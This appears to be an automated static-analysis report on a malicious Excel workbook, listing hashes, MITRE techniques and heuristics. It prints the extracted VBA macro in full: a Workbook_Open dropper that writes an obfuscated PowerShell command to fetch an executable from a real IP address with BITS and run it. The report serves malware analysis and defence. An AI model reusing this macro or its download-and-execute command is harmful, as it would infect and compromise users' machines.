Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 857c54aec76e1be1…

MALICIOUS

Office (OOXML)

11.0 KB Created: 2021-04-13 13:37:17 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-10-07
MD5: faefa919398ea51d4d3a6a9c809adf09 SHA-1: 24eea2bdab6c36af71d9e3a7b54c0c65de04cc59 SHA-256: 857c54aec76e1be1498e0af254fac20531cf3ce6085904187561164b4a993c0b
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The Workbook_Open macro is designed to execute a PowerShell command. This command constructs a URL to download a second-stage executable from 'http://18.195.133.226/DiD/E/IMG_854127101037.exe' and saves it as 'C:\Users\Public\Documents\differentidea.exe'. The macro then executes this downloaded file. The use of CreateObject and a Workbook_Open event are common for macro-based malware.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1176 bytes
SHA-256: a65dabd683e6130123684d696dbb0a48c691a6b3d01e5ce89c9edf79dbe68ca4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
thoseget = "powe^rs"
fullparty = "C:\Users\Public\Documents\weeklet.cm" & Chr(CLng("99.6"))
amountstreet = "h^ell"
senseany = FreeFile
Open fullparty For Output As #senseany
Print #senseany, thoseget & amountstreet & " -w hi slee^p -Se 31;Sta^rt-BitsTr^ansfer -Source htt`p://18.195.133.226/DiD/E/IMG_854127101037.e`xe" & " -Destination C:\Users\Public\Documents\differentidea.e`xe" & ";C:\Users\Public\Documents\differentidea.e`xe"
Close senseany
sheee = "shel"
obh = CreateObject(sheee & "l.application").Open(fullparty)
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 9728 bytes
SHA-256: dc38efba603480786a7264a54538fb9e375f214685d5e67d6cea0769759c61b8